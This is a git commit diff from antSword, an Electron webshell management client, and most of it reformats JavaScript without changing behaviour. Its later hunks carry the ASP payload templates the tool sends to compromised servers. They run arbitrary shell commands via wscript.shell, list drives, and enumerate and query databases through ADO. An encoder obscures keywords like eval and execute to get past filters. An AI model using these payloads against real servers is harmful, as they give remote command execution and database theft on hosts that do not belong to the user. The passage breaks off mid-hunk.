Commit 0c4b2415 authored by Medicean's avatar Medicean

(Other: Format) 美化代码

parent a10727c3
......@@ -8,7 +8,11 @@
const path = require('path');
const electron = require('electron');
const {app, protocol, BrowserWindow} = require('electron');
const {
app,
protocol,
BrowserWindow
} = require('electron');
// 注册为标准 scheme, 默认情况下web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) 被禁止访问非标准schemes
......
......@@ -37,7 +37,7 @@ class Cache {
* @param {String} id 数据存储文件名
* @return {[type]} [description]
*/
createDB(id = String(+ new Date)) {
createDB(id = String(+new Date)) {
return new Datastore({
filename: path.join(CONF.cachePath, id),
autoload: true
......
......@@ -19,9 +19,9 @@ class Conf {
// 数据存储目录
this.basePath = path.join(process.env.AS_WORKDIR, 'antData')
// 初始化目录
!fs.existsSync(this.basePath)
? fs.mkdirSync(this.basePath)
: null;
!fs.existsSync(this.basePath) ?
fs.mkdirSync(this.basePath) :
null;
// 旧数据搬迁
if (fs.existsSync(_oldPath) && !fs.existsSync(this.dataPath)) {
fs.writeFileSync(this.dataPath, fs.readFileSync(_oldPath))
......@@ -47,9 +47,9 @@ class Conf {
get cachePath() {
let _ = path.join(this.basePath, '/cache/');
// 创建缓存目录
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
!fs.existsSync(_) ?
fs.mkdirSync(_) :
null;
return _;
}
......@@ -60,9 +60,9 @@ class Conf {
*/
get plugPath() {
let _ = path.join(this.basePath, '/plugins/');
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
!fs.existsSync(_) ?
fs.mkdirSync(_) :
null;
return _;
}
......@@ -73,9 +73,9 @@ class Conf {
*/
get tmpPath() {
let _ = path.join(this.basePath, '/.temp/');
!fs.existsSync(_)
? fs.mkdirSync(_)
: null;
!fs.existsSync(_) ?
fs.mkdirSync(_) :
null;
return _;
}
......
......@@ -23,7 +23,10 @@ class Database {
*/
constructor(electron) {
logger = new electron.Logger('Database');
this.cursor = new Datastore({filename: CONF.dataPath, autoload: true});
this.cursor = new Datastore({
filename: CONF.dataPath,
autoload: true
});
// 监听事件
electron
.ipcMain
......@@ -56,7 +59,7 @@ class Database {
Object
.keys(opts)
.map((f) => {
if (opts[f]instanceof Object) {
if (opts[f] instanceof Object) {
opts[f] = self.convertOptstoNedbQuery(opts[f]);
}
if (f == "$regex") {
......@@ -81,7 +84,9 @@ class Database {
this
.cursor
.find(opts)
.sort({utime: -1})
.sort({
utime: -1
})
.exec((err, ret) => {
event.returnValue = ret || [];
});
......@@ -125,7 +130,10 @@ class Database {
}
// 获取地理位置
const _addr = qqwry.searchIP(ip);
return res({ip: ip, addr: `${_addr.Country} ${_addr.Area}`});
return res({
ip: ip,
addr: `${_addr.Country} ${_addr.Area}`
});
})
})
}
......@@ -159,8 +167,8 @@ class Database {
decoder: opts.base['decoder'],
httpConf: opts.http,
otherConf: opts.other,
ctime: + new Date,
utime: + new Date
ctime: +new Date,
utime: +new Date
}, (_err, _ret) => {
event.returnValue = _err || _ret;
});
......@@ -205,7 +213,7 @@ class Database {
decoder: _new.base['decoder'],
httpConf: _new.http,
otherConf: _new.other,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = _err || _ret;
......@@ -232,7 +240,7 @@ class Database {
}, {
$set: {
httpConf: opt.conf,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = _err || _ret;
......@@ -319,7 +327,7 @@ class Database {
}, {
$set: {
category: opts['category'] || 'default',
utime: + new Date
utime: +new Date
}
}, {
multi: true
......@@ -343,7 +351,7 @@ class Database {
}, (err, ret) => {
let confs = ret['database'] || {};
// 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16);
const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置
confs[random_id] = opts['data'];
// 更新数据库
......@@ -354,7 +362,7 @@ class Database {
}, {
$set: {
database: confs,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = random_id;
......@@ -386,7 +394,7 @@ class Database {
}, {
$set: {
database: confs,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = opts['id'];
......@@ -419,7 +427,7 @@ class Database {
}, {
$set: {
database: confs,
utime: + new Date
utime: +new Date
}
}, (_err, _ret) => {
event.returnValue = _err || _ret;
......@@ -462,11 +470,11 @@ class Database {
ret['plugins'] = ret['plugins'] || {};
let confs = ret['plugins'][plugin] || {};
// 随机Id(顺序增长
const random_id = parseInt(+ new Date + Math.random() * 1000).toString(16);
const random_id = parseInt(+new Date + Math.random() * 1000).toString(16);
// 添加到配置
confs[random_id] = opts['data'];
let setdata = {
utime: + new Date
utime: +new Date
}
setdata[`plugins.${plugin}`] = confs;
......@@ -501,7 +509,7 @@ class Database {
// 添加到配置
confs[opts['id']] = opts['data'];
let setdata = {
utime: + new Date
utime: +new Date
}
setdata[`plugins.${plugin}`] = confs;
// 更新数据库
......@@ -537,7 +545,7 @@ class Database {
// 2. 删除配置
delete confs[opts['id']];
let setdata = {
utime: + new Date
utime: +new Date
}
setdata[`plugins.${plugin}`] = confs;
// 3. 更新数据库
......
......@@ -24,9 +24,9 @@ class Logger {
let tm = new Date()
.toTimeString()
.split(' ')[0];
let log = typeof logs === 'object'
? JSON.stringify(logs)
: String(logs);
let log = typeof logs === 'object' ?
JSON.stringify(logs) :
String(logs);
return `[${tm}] ${type.toUpperCase()}::${this.tag}\t${log}`;
}
......
......@@ -39,12 +39,10 @@ class Menubar {
*/
reload(event, LANG) {
// 菜单模板
const template = [
{
const template = [{
// 主菜单
label: LANG['main']['title'],
submenu: [
{
submenu: [{
label: LANG['main']['about'],
accelerator: 'Shift+CmdOrCtrl+I',
click: event
......@@ -117,13 +115,11 @@ class Menubar {
.app
.quit
.bind(this.app)
}
]
}]
}, {
// 编辑
label: LANG['edit']['title'],
submenu: [
{
submenu: [{
label: LANG['edit']['undo'],
accelerator: 'CmdOrCtrl+Z',
role: 'undo'
......@@ -160,13 +156,11 @@ class Menubar {
label: LANG['edit']['selectall'],
accelerator: 'CmdOrCtrl+A',
role: 'selectall'
}
]
}]
}, {
// 窗口
label: LANG['window']['title'],
submenu: [
{
submenu: [{
label: LANG['window']['next'],
accelerator: 'Shift+CmdOrCtrl+Right',
click: event
......@@ -189,13 +183,11 @@ class Menubar {
.sender
.send
.bind(event.sender, 'menubar', 'tabbar-close')
}
]
}]
}, {
// 调试
label: LANG['debug']['title'],
submenu: [
{
submenu: [{
label: LANG['debug']['restart'],
accelerator: 'Shift+CmdOrCtrl+R',
click: () => {
......@@ -216,10 +208,8 @@ class Menubar {
.webContents
.toggleDevTools
.bind(this.mainWindow.webContents)
}
]
}
];
}]
}];
// 更新菜单栏
this
.Menu
......@@ -243,8 +233,7 @@ class Menubar {
image.setTemplateImage(true);
this.trayIcon = new this.Tray(image);
}
var trayMenuTemplate = [
{
var trayMenuTemplate = [{
label: LANG['tray']['show'],
click: () => {
this
......@@ -296,8 +285,7 @@ class Menubar {
.app
.quit
.bind(this.app)
}
];
}];
this
.trayIcon
......
......@@ -12,7 +12,9 @@ const fs = require('fs'),
CONF = require('./config'),
superagent = require('superagent'),
superagentProxy = require('superagent-proxy');
const {Readable} = require("stream");
const {
Readable
} = require("stream");
let logger;
// 请求UA
......@@ -46,9 +48,9 @@ class Request {
* @return {[type]} [description]
*/
onAproxy(event, opts) {
logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy'
? APROXY_CONF['uri']
: 'noproxy');
logger.debug('aProxy::Set Proxy Mode -', APROXY_CONF['mode'] === 'manualproxy' ?
APROXY_CONF['uri'] :
'noproxy');
APROXY_CONF['mode'] = opts['aproxymode'];
APROXY_CONF['uri'] = opts['aproxyuri'];
......@@ -145,15 +147,17 @@ class Request {
.sender
.send('request-chunk-' + opts['hash'], chunk);
}, res, (err, ret) => {
let buff = ret
? ret
: Buffer.from();
let buff = ret ?
ret :
Buffer.from();
// 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"});
let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown"
? encoding
: opts['encode'];
encoding = encoding != "unknown" ?
encoding :
opts['encode'];
let text = iconv.decode(buff, encoding);
if (err && text == "") {
return event
......@@ -221,17 +225,19 @@ class Request {
.sender
.send('request-error-' + opts['hash'], err);
}
let buff = ret.hasOwnProperty('body')
? ret.body
: Buffer.from();
let buff = ret.hasOwnProperty('body') ?
ret.body :
Buffer.from();
// 解码
let text = "";
// 自动猜测编码
let encoding = detectEncoding(buff, {defaultEncoding: "unknown"});
let encoding = detectEncoding(buff, {
defaultEncoding: "unknown"
});
logger.debug("detect encoding:", encoding);
encoding = encoding != "unknown"
? encoding
: opts['encode'];
encoding = encoding != "unknown" ?
encoding :
opts['encode'];
text = iconv.decode(buff, encoding);
if (err && text == "") {
return event
......@@ -416,15 +422,15 @@ class Request {
let index_s = chunkHex.indexOf(tagHexS);
let index_e = chunkHex.lastIndexOf(tagHexE);
temp = chunkHex.substr(index_s + tagHexS.length, index_e - index_s - tagHexE.length);
foundTagS = foundTagE =// 如果只包含前截断,则截取后边
foundTagS = foundTagE = // 如果只包含前截断,则截取后边
true;
} else if (chunkHex.indexOf(tagHexS) >= 0 && chunkHex.lastIndexOf(tagHexE) === -1) {
temp = chunkHex.split(tagHexS)[1];
foundTagS =// 如果只包含后截断,则截取前边
foundTagS = // 如果只包含后截断,则截取前边
true;
} else if (chunkHex.indexOf(tagHexS) === -1 && chunkHex.lastIndexOf(tagHexE) >= 0) {
temp = chunkHex.split(tagHexE)[0];
foundTagE =// 如果有没有,那就是中途迷路的数据啦 ^.^
foundTagE = // 如果有没有,那就是中途迷路的数据啦 ^.^
true;
} else if (foundTagS && !foundTagE) {
temp = chunkHex;
......@@ -465,29 +471,29 @@ function detectEncoding(buffer, options) {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
encoding = ret.encoding === 'ascii' ?
'utf-8' :
ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose
? {
return verbose ?
{
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
}
: defaultEncoding;
} :
defaultEncoding;
} else {
encoding = encoding.toUpperCase();
return verbose
? {
return verbose ?
{
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
}
: encoding;
} :
encoding;
}
};
......@@ -503,15 +509,15 @@ class AntRead extends Readable {
super();
this.index = 0;
let o = {};
o.step = options.hasOwnProperty('step')
? parseInt(options['step'])
: 2;
o.step = o.step < 1
? 2
: o.step;
o.stepmax = options.hasOwnProperty('stepmax')
? options['stepmax']
: o.step;
o.step = options.hasOwnProperty('step') ?
parseInt(options['step']) :
2;
o.step = o.step < 1 ?
2 :
o.step;
o.stepmax = options.hasOwnProperty('stepmax') ?
options['stepmax'] :
o.step;
if (o.stepmax < o.step) {
o.stepmax = o.step;
}
......
......@@ -201,7 +201,11 @@ class Update {
// TODO: 需不需要备份?
// TODO: 删除原来的 node_modules 目录 解压数据
tar
.x({file: savePath, strip: 1, C: process.env.AS_WORKDIR})
.x({
file: savePath,
strip: 1,
C: process.env.AS_WORKDIR
})
.then(_ => {
that
.logger
......
......@@ -80,7 +80,7 @@ const antSword = window.antSword = {
if (!value) {
return localStorage.getItem(key) || def;
};
if (typeof(value) === "object")
if (typeof (value) === "object")
value = JSON.stringify(value);
// 设置
......@@ -152,17 +152,17 @@ antSword['encoders'] = (function () {
};
let userencoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化
!fs.existsSync(userencoder_path)
? fs.mkdirSync(userencoder_path)
: null;
!fs.existsSync(userencoder_path) ?
fs.mkdirSync(userencoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userencoder_path, `${t}`))
? fs.mkdirSync(path.join(userencoder_path, `${t}`))
: null;
!fs.existsSync(path.join(userencoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userencoder_path, `${t}`)) :
null;
let t_path = path.join(userencoder_path, `${t}/encoder/`);
!fs.existsSync(t_path)
? fs.mkdirSync(t_path)
: null;
!fs.existsSync(t_path) ?
fs.mkdirSync(t_path) :
null;
let es = fs.readdirSync(t_path);
if (es) {
......@@ -205,17 +205,17 @@ antSword['decoders'] = (function () {
};
let userdecoder_path = path.join(remote.process.env.AS_WORKDIR, 'antData/encoders');
// 初始化
!fs.existsSync(userdecoder_path)
? fs.mkdirSync(userdecoder_path)
: null;
!fs.existsSync(userdecoder_path) ?
fs.mkdirSync(userdecoder_path) :
null;
['asp', 'aspx', 'php', 'custom'].map((t) => {
!fs.existsSync(path.join(userdecoder_path, `${t}`))
? fs.mkdirSync(path.join(userdecoder_path, `${t}`))
: null;
!fs.existsSync(path.join(userdecoder_path, `${t}`)) ?
fs.mkdirSync(path.join(userdecoder_path, `${t}`)) :
null;
let t_path = path.join(userdecoder_path, `${t}/decoder/`);
!fs.existsSync(t_path)
? fs.mkdirSync(t_path)
: null;
!fs.existsSync(t_path) ?
fs.mkdirSync(t_path) :
null;
let es = fs.readdirSync(t_path);
if (es) {
......@@ -253,9 +253,9 @@ const aproxy = {
}
antSword['aproxymode'] = aproxy['mode'];
antSword['aproxyauth'] = (!aproxy['username'] || !aproxy['password'])
? ''
: `${aproxy['username']}:${aproxy['password']}`;
antSword['aproxyauth'] = (!aproxy['username'] || !aproxy['password']) ?
'' :
`${aproxy['username']}:${aproxy['password']}`;
antSword['aproxyuri'] = `${aproxy['protocol']}:\/\/${antSword['aproxyauth']}${antSword['aproxyauth'] === ""
? ""
......@@ -309,7 +309,7 @@ const groupLog = (opt, color) => {
// 监听后端消息
ipcRenderer
/**
/**
* 刷新UI(shellmanager侧边栏
* @param {[type]} 'reloadui' [description]
* @param {[type]} ( [description]
......@@ -324,8 +324,8 @@ ipcRenderer
.cell
.setWidth(222);
}, 555);
})
/**
})
/**
* 通知提示 Loader 更新
* @param {[type]} 'notification-loader-update' [description]
* @param {[type]} (e, opt [description]
......@@ -333,7 +333,8 @@ ipcRenderer
*/
.on('notification-loader-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {body: antSword['language']['update']['body'](opt['ver'])
let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
});
n.addEventListener('click', () => {
antSword
......@@ -353,8 +354,8 @@ ipcRenderer
.app
.quit();
});
})
/**
})
/**
* 通知提示更新
* @param {[type]} 'notification-update' [description]
* @param {[type]} (e, opt [description]
......@@ -362,7 +363,8 @@ ipcRenderer
*/
.on('notification-update', (e, opt) => {
const LANG = antSword["language"]["settings"]["update"];
let n = new Notification(antSword['language']['update']['title'], {body: antSword['language']['update']['body'](opt['ver'])
let n = new Notification(antSword['language']['update']['title'], {
body: antSword['language']['update']['body'](opt['ver'])
});
// 文件大小计算
const getFileSize = (t) => {
......@@ -391,7 +393,8 @@ ipcRenderer
.openExternal(opt['url']);
});
const WIN = require('ui/window');
let win = new WIN({title: antSword['language']['update']['title'],
let win = new WIN({
title: antSword['language']['update']['title'],
height: 430,
width: 480
});
......@@ -412,8 +415,7 @@ ipcRenderer
.cells('a')
.hideHeader();
let formdata = [
{
let formdata = [{
type: "label",
name: "form_msg",
label: LANG["prompt"]["body"](opt['ver']),
......@@ -426,8 +428,7 @@ ipcRenderer
inputHeight: 300
}, {
type: "block",
list: [
{
list: [{
type: "newcolumn",
offset: 20
}, {
......@@ -449,10 +450,8 @@ ipcRenderer
type: "button",
name: "canclebtn",
value: `<i class="fa fa-remove"></i> ${LANG["prompt"]["btns"]["no"]}`
}
]
}
];
}]
}];
uplayout
.cells('a')
.attachForm(formdata, true);
......@@ -517,7 +516,7 @@ ipcRenderer
layer.alert(LANG["message"]["githint"](workdir));
return
}
const hash = (String(+ new Date) + String(Math.random()))
const hash = (String(+new Date) + String(Math.random()))
.substr(10, 10)
.replace('.', '_');
//折叠
......@@ -526,7 +525,9 @@ ipcRenderer
.park();
antSword
.ipcRenderer
.send("update-download", {hash: hash});
.send("update-download", {
hash: hash
});
win
.win
.progressOn();
......@@ -561,7 +562,7 @@ ipcRenderer
break;
}
});
}).on('update-success', (e, opt) => {
}).on('update-success', (e, opt) => {
const LANG = antSword['language']['settings']['update'];
toastr.success(antSword["language"]["success"], LANG["message"]["success"]);
layer.confirm(LANG['message']['success'], {
......@@ -575,28 +576,28 @@ ipcRenderer
.app
.quit();
});
})
/**
})
/**
* 重新加载本地插件
* @param {[type]} 'reloadPlug' [description]
* @param {[type]} ( [description]
* @return {[type]} [description]
*/
.on('reloadPlug', antSword.reloadPlug.bind(antSword))
/**
/**
* 后端日志输出
* + 用于在前端控制台输出后端的日志
* - 可使用`antSword.logs[id]`来获取详细日志
*/
.on('logger-debug', (e, opt) => {
groupLog(opt, '#607D8B');
}).on('logger-info', (e, opt) => {
}).on('logger-info', (e, opt) => {
groupLog(opt, '#4CAF50');
}).on('logger-warn', (e, opt) => {
}).on('logger-warn', (e, opt) => {
groupLog(opt, '#FF9800');
}).on('logger-fatal', (e, opt) => {
}).on('logger-fatal', (e, opt) => {
groupLog(opt, '#E91E63');
});
});
antSword.reloadPlug();
antSword['menubar'].reg('check-update', () => {
......@@ -612,13 +613,7 @@ if (new Date() - new Date(antSword['storage']('lastautocheck', false, "0")) >= 8
// 检查更新
antSword['storage']('lastautocheck', new Date().getTime());
setTimeout(() => {
antSword
.ipcRenderer
.send
.bind(antSword.ipcRenderer, 'check-update');
antSword
.ipcRenderer
.send
.bind(antSword.ipcRenderer, 'check-loader-update');
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-update');
antSword.ipcRenderer.send.bind(antSword.ipcRenderer, 'check-loader-update');
}, 1000 * 60);
}
\ No newline at end of file
......@@ -16,9 +16,9 @@ class CacheManager {
id: this.id,
tag: tag
});
return ret
? ret['cache']
: false;
return ret ?
ret['cache'] :
false;
}
// 更新缓存
......@@ -40,7 +40,9 @@ class CacheManager {
// 清空缓存
clear() {
return this.sender('cache-clear', {id: this.id});
return this.sender('cache-clear', {
id: this.id
});
}
}
......
......@@ -29,29 +29,29 @@ class Decodes {
var defaultEncoding = options.defaultEncoding || DEFAULT_ENCODING;
var minConfidence = options.minConfidence || MIN_CONFIDENCE;
var ret = jschardet.detect(buffer),
encoding = ret.encoding === 'ascii'
? 'utf-8'
: ret.encoding,
encoding = ret.encoding === 'ascii' ?
'utf-8' :
ret.encoding,
confidence = ret.confidence;
// var VALID_ENCODINGS = ['gb2312', 'gbk', 'utf-8', 'big5', 'euc-kr','euc-jp'];
if (encoding === null || !iconv.encodingExists(encoding) || confidence < minConfidence) {
return verbose
? {
return verbose ?
{
encoding: defaultEncoding,
oriEncoding: encoding,
confidence: confidence
}
: defaultEncoding;
} :
defaultEncoding;
} else {
encoding = encoding.toUpperCase();
return verbose
? {
return verbose ?
{
encoding: encoding,
oriEncoding: encoding,
confidence: confidence
}
: encoding;
} :
encoding;
}
}
......
......@@ -7,10 +7,10 @@
'use strict';
/*
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
* @param {String} pwd 连接密码
* @param {Array} data 编码器处理前的 payload 数组
* @return {Array} data 编码器处理后的 payload 数组
*/
module.exports = (pwd, data) => {
let _tmp = data['_'].replace(/(eval|cute|execute|server|script|timeout|resume|next|function|for|else|response|mid|end|step|write|then|isnumeric)/ig, function ($, $1) {
// asunescape(%) 表示括号内的内容不会被 URL 编码
......
......@@ -4,10 +4,12 @@
*/
module.exports = () => ({
info:
`Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`,
info: {
_: `Dim S:SET C=CreateObject("Scripting.FileSystemObject"):If Err Then:S="ERROR:// "&Err.Description:Err.Clear:Else:S=Server.Mappath(".")&chr(9):For Each D in C.Drives:S=S&D.DriveLetter&chr(58):Next:End If:Response.Write(S)`
},
probedb: // 检测数据库函数支持
`Function fe(strobj):
{
_: `Function fe(strobj):
on error resume next:
fe=0:
server.CreateObject(strobj):
......@@ -17,5 +19,6 @@ module.exports = () => ({
m=split(m,"|"):
for i=0 to ubound(m):
Response.Write(m(i)&chr(9)&fe(m(i))&chr(10)):
next:`.replace(/\n\s+/g, ''),
next:`.replace(/\n\s+/g, '')
},
})
\ No newline at end of file
......@@ -4,14 +4,12 @@
module.exports = (arg1, arg2) => ({
exec: {
_:
`Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
_: `Set X=CreateObject("wscript.shell").exec(""""&bd(Request("${arg1}"))&""" /c """&bd(Request("${arg2}"))&""""):If Err Then:S="[Err] "&Err.Description:Err.Clear:Else:O=X.StdOut.ReadAll():E=X.StdErr.ReadAll():S=O&E:End If:Response.write(S)`,
[arg1]: "#{hex::bin}",
[arg2]: "#{hex::cmd}"
},
listcmd: {
_:
`AA=Split(""&bd(Request("${arg1}"))&"",","):
_: `AA=Split(""&bd(Request("${arg1}"))&"",","):
Set FS=CreateObject("Scripting.FileSystemObject"):
For Each A in AA:
Response.Write(A&chr(9)):
......
......@@ -5,28 +5,24 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
// [arg2]: '#{dbname}'
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
},
// 显示表字段
show_columns: {
_:
`Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Function TN(n):Select Case n:Case 2:TN="smallint":Case 3:TN="int":Case 4:TN="real":Case 5:TN="float":Case 6:TN="money":Case 7:TN="datetime":Case 11:TN="bit":Case 12:TN="variant":Case 16:TN="tinyint":Case 17:TN="tinyint":Case 20:TN="bigint":Case 72:TN="unique":Case 128:TN="binary":Case 129:TN="char":Case 130:TN="nchar":Case 131:TN="numeric":Case 135:TN="datetime":Case 200:TN="varchar":Case 201:TN="text":Case 202:TN="nvarchar":Case 203:TN="ntext":Case 204:TN="varbinary":Case 205:TN="image":Case Else:TN=n:End Select:End Function:Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=CreateObject("Adodb.Recordset"):Rs.open ""&bd(Request("${arg2}"))&"",Conn,1,1:If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:For n=0 To Rs.Fields.Count-1:SI=SI&Rs.Fields.Item(n).Name&" ("&TN(Rs.Fields.Item(n).Type)&")"&chr(9):Next:Rs.Close:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::table}'
},
// 执行SQL语句
query: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Conn.Open ""&bd(Request("${arg1}"))&"":Dim CO,HD,RN:CO=chr(9)&chr(124)&chr(9):RN=chr(13)&chr(10):HD="Result"&CO&RN:If Err Then:Response.Write HD&Err.Description&CO&RN:Err.Clear:Else:Set Rs=Conn.Execute(""&bd(Request("${arg2}"))&""):If Err Then:Response.Write HD&Err.Number&":"&Err.Description&CO&RN:Err.Clear:Else:Dim FN:FN=Rs.Fields.Count-1:For n=0 To FN:Response.Write Rs.Fields.Item(n).Name&CO:Next:Response.Write RN:Do While Not(Rs.Eof Or Rs.Bof):For n=0 To FN:Response.Write Rs(n):Response.Write CO:Next:Response.Write RN:Rs.MoveNext:Loop:End If:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:`,
[arg1]: '#{hex::conn}',
[arg2]: '#{hex::sql}',
}
......
......@@ -5,27 +5,23 @@
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
// 显示所有数据库
show_databases: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open bd(Request("${arg1}")):If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:SI="[ADO DATABASE]"&chr(9):Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}'
},
// 显示数据库所有表
show_tables: {
_:
`Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
_: `Set Conn=Server.CreateObject("Adodb.connection"):Dim SI:Conn.Open ""&bd(Request("${arg1}"))&"":If Err Then:SI="ERROR:// "&Err.Description:Err.Clear:Else:Set Rs=Conn.OpenSchema(20):Rs.MoveFirst:SI="":Do While Not Rs.Eof:If Rs("TABLE_TYPE")="TABLE" Then:SI=SI&Rs("TABLE_NAME")&chr(9):End If:Rs.MoveNext:Loop:Set Rs=Nothing:Conn.Close:End If:Set Conn=Nothing:Response.Write(SI)`,
[arg1]: '#{hex::conn}',
},
// 显示表字段
show_columns: {
_:
